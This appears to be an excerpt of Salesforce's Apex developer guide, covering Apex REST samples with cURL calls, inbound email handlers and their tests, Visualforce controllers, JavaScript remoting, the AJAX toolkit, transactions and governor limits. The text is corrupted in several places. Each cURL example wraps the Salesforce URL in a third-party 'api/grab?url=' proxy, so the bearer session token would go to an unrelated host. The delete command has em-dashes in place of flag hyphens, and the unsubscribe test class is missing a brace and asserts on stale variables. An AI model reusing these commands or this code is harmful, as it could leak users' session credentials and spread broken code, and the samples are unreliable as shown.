This sample shows how to implement a simple REST API in Apex with three HTTP request methods to delete, retrieve, and update
a record.
Apex REST Code Sample Using RestRequest
This sample shows you how to add an attachment to a record by using the RestRequest object.

Apex REST Basic Code Sample

This sample shows how to implement a simple REST API in Apex with three HTTP request methods to delete, retrieve, and update a
record.
For more information about authenticating with cURL, see the Quick Start section of the REST API Developer Guide.

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1. Create an Apex class in your instance from Setup. Enter Apex Classes in the Quick Find box, select Apex Classes, and
then click New. Add this code to the new Apex class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {

@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);

Account account = [SELECT Id FROM Account WHERE Id = :accountId];

delete account;
}

@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);

Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}

@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}

2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",

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"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"

Note: The cURL examples in this section don't use a namespaced Apex class so you don’t see the namespace in the URL.

3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}

4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"
After calling the doPost method, Salesforce returns a response with data such as the following:

"accountId"

The accountId is the ID of the account you just created with the POST request.

5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"

Apex REST Code Sample Using RestRequest

This sample shows you how to add an attachment to a record by using the RestRequest object.
For more information about authenticating with cURL, see the Quick Start section of the REST API Developer Guide. In this code, the
binary file data is stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
1. Create an Apex class in your org from Setup by entering Apex Classes in the Quick Find box, then selecting Apex Classes.
Click New and add the following code to your new class:

@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{

@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,

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ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}

2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://MyDomainName.my.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace MyDomainName with the My Domain name for your org.
• Replace caseId with the ID of the case you want to add the attachment to.
• Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and MyDomainName
replaced with the My Domain Name for your org):

curl -H "Authorization: Bearer sessionId"

-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://MyDomainName.my.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"

Note: The cURL examples in this section don’t use a namespaced Apex class so you won’t see the namespace in the URL.

The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"

3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.

Apex Email Service

You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email
service that automatically creates contact records based on contact information in messages.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for
processing. To give multiple users access to a single email service, you can:
• Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
• Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the
user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address
and creates records on behalf of that user.
To use email services, from Setup, enter Email Services in the Quick Find box, then select Email Services.
• Click New Email Service to define a new email service.
• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.

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Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process
daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you
configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user
licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a
day.
• Email service addresses that you create in your sandbox can’t be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds
approximately 25 MB (varies depending on language and character set).

Using the InboundEmail Object

For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

Example 1: Create Tasks for Contacts

The following is an example of how you can look up a contact based on the inbound email address and create a new task.
public with sharing class CreateTaskEmailExample implements Messaging.InboundEmailHandler
{

public Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,

Messaging.InboundEnvelope env){

// Create an InboundEmailResult object for returning the result of the

// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '';

// Add the email plain text into the local variable

myPlainText = email.plainTextBody;

// New Task object to be created

Task[] newTask = new Task[0];

// Try to look up any contacts based on the email from address

// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact

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WHERE Email = :email.fromAddress

WITH USER_MODE
LIMIT 1];

// Add a new Task to the contact record we just found above.

newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));

// Insert the new Task

insert as user newTask;

System.debug('New Task Object: ' + newTask );

}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}

// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;

// Return the result for the Apex Email Service

return result;
}
}

Example 2: Handle Unsubscribe Email

Companies that send marketing email to their customers and prospects must provide a way to let the recipients unsubscribe. The
following is an example of how an email service can process unsubscribe requests. The code searches the subject line of inbound email
for the word “unsubscribe.” If the word is found, the code finds all contacts and leads that match the From email address and sets the
Email Opt Out field (HasOptedOutOfEmail) to True.

public with sharing class unsubscribe implements Messaging.inboundEmailHandler{

public Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,

Messaging.InboundEnvelope env ) {

// Create an inboundEmailResult object for returning

// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();

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// Convert the subject line to lower case so the program can match on lower case.

String mySubject = email.subject.toLowerCase();

// The search string used in the subject line.
String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject
line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.

if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail

FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
WITH USER_MODE
LIMIT 100]) {

// Add all the matching contacts into the list.

c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update as user lc;
}
catch (System.QueryException e) {
System.debug('Contact Query Issue: ' + e);
}

try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
WITH USER_MODE
LIMIT 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);

System.debug('Lead Object: ' + l);

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}
// Update all lead records in the query.
update as user ll;
}

catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}

System.debug('Found the unsubscribe word in the subject line.');

}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;
}
}

@isTest
private class unsubscribeTest {
// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {

// Create a new email and envelope object.

Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.

Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='[email protected]',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.

Contact c = new Contact(firstName='john',
lastName='smith',
Email='[email protected]',
HasOptedOutOfEmail=false);
insert c;

// Test with the subject that matches the unsubscribe statement.

email.subject = 'test unsubscribe test';
env.fromAddress = '[email protected]';

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// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

static testMethod void testUnsubscribe2() {

// Create a new email and envelope object.

Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.

Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='[email protected]',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.

Contact c = new Contact(firstName='john',
lastName='smith',
Email='[email protected]',
HasOptedOutOfEmail=false);
insert c;

// Test with a subject that does not contain "unsubscribe."

email.subject = 'test';
env.fromAddress = '[email protected]';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
// Assert that the Lead and Contact have been unsubscribed
Lead updatedLead = [Select Id, HasOptedOutOfEmail from Lead where Id = :l.Id];
Contact updatedContact = [Select Id, HasOptedOutOfEmail from Contact where Id =
:c.Id];
Assert.isTrue(l.HasOptedOutOfEmail);
Assert.isTrue(c.HasOptedOutOfEmail);
}
}

SEE ALSO:
Apex Reference Guide: InboundEmail Class
Apex Reference Guide: InboundEnvelope Class
Apex Reference Guide: InboundEmailResult Class

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Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.

• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.

You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
• Action
• Dynamic Component
• IdeaStandardController
• IdeaStandardSetController
• KnowledgeArticleVersionStandardController
• Message
• PageReference
• SelectOption
• StandardController
• StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 87.
For more information on Visualforce, see the Visualforce Developer's Guide.

JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
• The remote method invocation you add to the Visualforce page, written in JavaScript.
• The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
• The response handler callback function you add to or include in your Visualforce page, written in JavaScript.

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In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

Apex @RemoteAction methods must be static and either global or public.

Add the Apex class as a custom controller or a controller extension to your page.
<apex:page controller="MyController" extension="MyExtension">

Warning: Adding a controller or controller extension grants access to all @RemoteAction methods in that Apex class, even
if those methods aren’t used in the page. Anyone who can view the page can execute all @RemoteAction methods and
provide fake or malicious data to the controller.
Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.

[namespace.]MyController.method(
[parameters...,]
callbackFunction,
[configuration]
);

Table 5: Remote Request Elements

Element Description
namespace The namespace of the controller class. The namespace element is required if your organization has
a namespace defined, or if the class comes from an installed package.

MyController, The name of your Apex controller or extension.

MyExtension

method The name of the Apex method you’re calling.

parameters A comma-separated list of parameters that your method takes.

callbackFunction The name of the JavaScript function that handles the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.

configuration Configures the handling of the remote call and response. Use this element to change the behavior
of a remoting call, such as whether or not to escape the Apex method’s response.

For more information, see JavaScript Remoting for Apex Controllers in the Visualforce Developer's Guide.

Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
To invoke Apex through anonymous blocks or public webservice methods, include the following lines in your AJAX code:
<script src="/soap/ajax/64.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/64.0/apex.js" type="text/javascript"></script>

Note: For AJAX buttons, use the alternate forms of these includes.

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To invoke Apex, use one of the following two methods:

• Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's
result type, but as a JavaScript structure.
• Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webservice static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}

By using the following JavaScript code:

var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});

The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webservice method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to
call the following Apex class:
global class myClass{
webservice static String getContextUserName() {
return UserInfo.getFirstName();
}
}

Use the following JavaScript code:

var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});

Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the myClass class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});

To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it’s listed under Developer Settings.

For more information on the return datatypes, see Data Types in AJAX Toolkit

Use the following line to display a window with debugging information:

sforce.debug.trace=true;

Apex Transactions and Governor Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Lightning Platform multitenant platform.
Most of the governor limits are per transaction, and some aren’t, such as 24-hour limits.

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To make sure Apex adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key relationships
in queries.

Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete
successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits so that runaway Apex code or
processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception
that can’t be handled.
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of
allocated governor limits. Only per-request limits are checked for sending email warnings; per-org limits like concurrent long-running
requests are not checked. These email notifications do not count against the daily single email limit.
Running Apex within Governor Execution Limits
When you develop software in a multitenant cloud environment such as the Lightning platform, you don’t have to scale your code,
because the Lightning platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.

Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete
successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.

Note: Payments transactions are the exception to DML operation errors. Even if an error occurs, data is committed and payment
records are generated because the transaction has already happened at the payment gateway.
All operations that occur inside the transaction boundary represent a single unit of operations, including calls to external code, such as
classes or triggers that run in the transaction boundary. For example: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
An Apex transaction is sometimes referred to as an execution context. This guide uses the term Apex transaction.

How are Transactions Useful?

Transactions are useful when several operations are related, and either all or none of the operations are committed. The goal is to keep
the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring
funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account
with the amount to transfer. These two operations must be committed together to the database. If the debit operation succeeds and
the credit operation fails, the account balances become inconsistent.

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Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add an invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. The invoice statement and
the line item aren’t added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
// Only 1,000 pencils are in stock.
// Purchasing 5,000 pencils cause the validation rule to fail,
// which results in an exception in the invoice method.
Id invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');

This definition is the invoice method. The update of total inventory causes an exception due to the validation rule failure. As a result,
the invoice statements and line items are rolled back and aren’t inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;

// Add a new line item to the invoice

Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;

// Update the inventory of the merchandise item

m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
}
}

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Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits so that runaway Apex code or processes
don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception that can’t
be handled.
The Apex limits, or governors, track, and enforce the statistics outlined in the following tables and sections.
• Per-Transaction Apex Limits
• Per-Transaction Certified Managed Package Limits
• Lightning Platform Apex Limits
• Static Apex Limits
• Size-Specific Apex Limits
• Miscellaneous Apex Limits
In addition to the core Apex governor limits, email limits and push notification limits are also included later in this topic for your
convenience.

Per-Transaction Apex Limits

These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the
execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise,
this table lists only one limit that applies to both synchronous and asynchronous Apex.

Note:
• Although scheduled Apex is an asynchronous feature, synchronous limits apply to scheduled Apex jobs.
• For Bulk API and Bulk API 2.0 transactions, the effective limit is the higher of the synchronous and asynchronous limits. For
example, the maximum number of Bulk Apex jobs added to the queue with System.enqueueJob is the synchronous
limit (50), which is higher than the asynchronous limit (1).

Description Synchronous Asynchronous

Limit Limit
Total number of SOQL queries issued1 100 200

Total number of records retrieved by SOQL queries 50,000 50,000

Total number of records retrieved by Database.getQueryLocator 10,000 10,000

Total number of SOSL queries issued 20 20

Total number of records retrieved by a single SOSL query 2,000 2,000

Total number of DML statements issued2 150 150

Total number of records processed as a result of DML statements, Approval.process, 10,000 10,000
or database.emptyRecycleBin

Total stack depth for any Apex invocation that recursively fires triggers due to insert, 16 16
3
update, or delete statements

Total number of callouts (HTTP requests or web services calls) in a transaction 100 100

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Description Synchronous Asynchronous

Limit Limit
Maximum cumulative timeout for all callouts (HTTP requests or Web services calls) in a 120 seconds 120 seconds
transaction

Maximum number of methods with the future annotation allowed per Apex invocation 50 0 in batch and
future contexts; 50
in queueable
context

Maximum number of Apex jobs added to the queue with System.enqueueJob 50 1

Total number of sendEmail methods allowed 10 10

Total heap size4 6 MB 12 MB

Maximum CPU time on the Salesforce servers5 10,000 milliseconds 60,000 milliseconds

Maximum execution time for each Apex transaction 10 minutes 10 minutes

Maximum number of push notification method calls allowed per Apex transaction 10 10

Maximum number of push notifications that can be sent in each push notification method 2,000 2,000
call

Maximum number of EventBus.publish calls for platform events configured to 150 150
publish immediately

Maximum number of rows per Apex cursor 50 million 50 million

Maximum number of Apex cursors per day 10,000 10,000

Maximum number of cursor fetch calls per transaction 10 10

Maximum number of Apex cursor rows fetched per day (aggregate) 100 million 100 million

1
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The limit for subqueries corresponds to the value that
Limits.getLimitAggregateQueries() returns. The row counts from these relationship queries contribute to the row
counts of the overall code execution. This limit doesn’t apply to custom metadata types. In a single Apex transaction, custom metadata
records can have unlimited SOQL queries. In addition to static SOQL statements, calls to the following methods count against the number
of SOQL statements issued in a request.
• Database.countQuery, Database.countQueryWithBinds
• Database.getQueryLocator, Database.getQueryLocatorWithBinds
• Database.query, Database.queryWithBinds
2
Calls to the following methods count against the number of DML statements issued in a request.
• Approval.process
• Database.convertLead
• Database.emptyRecycleBin
• Database.rollback
• Database.setSavePoint

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• delete and Database.delete

• insert and Database.insert
• merge and Database.merge
• undelete and Database.undelete
• update and Database.update
• upsert and Database.upsert
• EventBus.publish for platform events configured to publish after commit
• System.runAs
3
Recursive Apex that doesn’t fire any triggers with insert, update, or delete statements, exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation. The new invocation is separate
from the invocation of the code that caused it to fire. Spawning a new invocation of Apex is a more expensive operation than a recursive
call in a single invocation. Therefore, there are tighter restrictions on the stack depth of these types of recursive calls.
4
Email services heap size is 50 MB.
5
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Application server CPU time spent in DML operations is counted towards
the Apex CPU limit. Operations that don't consume application server CPU time aren't counted toward CPU time. For example, the
portion of execution time spent in the database for DML, SOQL, and SOSL isn't counted, nor is waiting time for Apex callouts. Bulk API
and Bulk API 2.0 consume a unique governor limit for CPU time on Salesforce Servers, with a maximum value of 60,000 milliseconds.

Note:
• Limits apply individually to each testMethod.
• To determine the code execution limits for your code while it’s running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.

Per-Transaction Certified Managed Package Limits

Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits
for most per-transaction limits. Salesforce ISV Partners develop certified managed packages, which are installed in your org from
AppExchange and have unique namespaces.
Here’s an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed
package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML
statements your org’s native code can execute. This limit increase means more than 150 DML statements can execute during a single
transaction if code from the managed package and your native org both executes. Similarly, the certified managed package gets its own
100-SOQL-query limit for synchronous Apex, in addition to the org’s native code limit of 100 SOQL queries.
There’s no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations
that can be performed in each namespace must not exceed the per-transaction limits. There’s also a limit on the cumulative number of
operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example,
if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative
limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long
as any one namespace doesn't have more than 100 queries. The cumulative limit doesn’t affect limits that are shared across all namespaces,
such as the limit on maximum CPU time.

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Note:
• These cross-namespace limits apply only to namespaces in certified managed packages.
• Namespaces in non-certified packages don’t have their own separate governor limits. The resources that they use continue
to count against the same governor limits used by the org's custom code.

This table lists the cumulative cross-namespace limits.

Description Cumulative
Cross-Namespace Limit
Total number of SOQL queries issued 1,100

Total number of records retrieved by Database.getQueryLocator 110,000

Total number of SOSL queries issued 220

Total number of DML statements issued 1,650

Total number of callouts (HTTP requests or web services calls) in a transaction 1,100

Total number of sendEmail methods allowed 110

All per-transaction limits count separately for certified managed packages except for:
• The total heap size
• The maximum CPU time
• The maximum transaction execution time
• The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
The code from a package from AppExchange, not created by a Salesforce ISV Partner and not certified, doesn’t have its own separate
governor limits. Any resources used by the package count against the total org governor limits. Cumulative resource messages and
warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.

Lightning Platform Apex Limits

The limits in this table aren't specific to an Apex transaction; Lightning Platform enforces these limits.

Description Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods, 250,000 or the number of user
Queueable Apex, and scheduled Apex) per a 24-hour period1,6,7 licenses in your org multiplied
by 200, whichever is greater

Number of synchronous concurrent transactions for long-running transactions that last longer than Based on the number of
5 seconds for each org.2 applicable licenses8 in an org,
the limit is calculated as a ratio
of 100 licenses to one
concurrent long-running Apex
transaction9.

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Description Limit
• Minimum limit is 10
• Maximum limit is 50

Maximum number of Apex classes scheduled concurrently 100. In Developer Edition orgs,
the limit is 5.

Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status 100

Maximum number of batch Apex jobs queued or active concurrently3 5

Maximum number of batch Apex job start method concurrent executions4 1

Maximum number of batch jobs that can be submitted in a running test 5

Maximum number of test classes that can be queued per 24-hour period (production orgs other The greater of 500 or 10
than Developer Edition)5,6 multiplied by the number of test
classes in the org

Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition orgs)5,6 multiplied by the number of test
classes in the org

1
For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The license types
that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only
users, Identity users, and Company Communities users.
2
If more transactions are started while the default number of long-running transactions are still running, they’re denied. HTTP callout
processing time isn’t included when calculating this limit.
3
When batch jobs are submitted, they’re held in the flex queue before the system queues them for processing.
4
Batch jobs that haven’t started yet remain in the queue until they’re started. If more than one job is running, this limit doesn’t cause
any batch job to fail.execute methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6
To check how many asynchronous Apex executions are available, make a request to REST API limits resource or use Apex methods
OrgLimits.getAll() or OrgLimits.getMap(). See List Organization Limits in the REST API Developer Guide and OrgLimits
Class in the Apex Reference Guide.
7
If the number of asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour
rolling limit, an exception is thrown. Batch Apex preemptively checks the required asynchronous job capacity when
Database.executeBatch is called and the start method has returned the workload. The batch won’t start unless there is
sufficient capacity for the entire job available. For example, if the batch requires 10,000 executions and the remaining asynchronous
limit is 9,500 executions, an AsyncApexExecutions Limit exceeded exception is thrown, and the remaining executions
are left unchanged.
8
The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses,
Chatter Only users, Identity users, and Company Communities users.

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9
For example, if your org has 4,000 licenses, the concurrent long-running Apex requests limit is set at 40. If your org has 5,000 or more
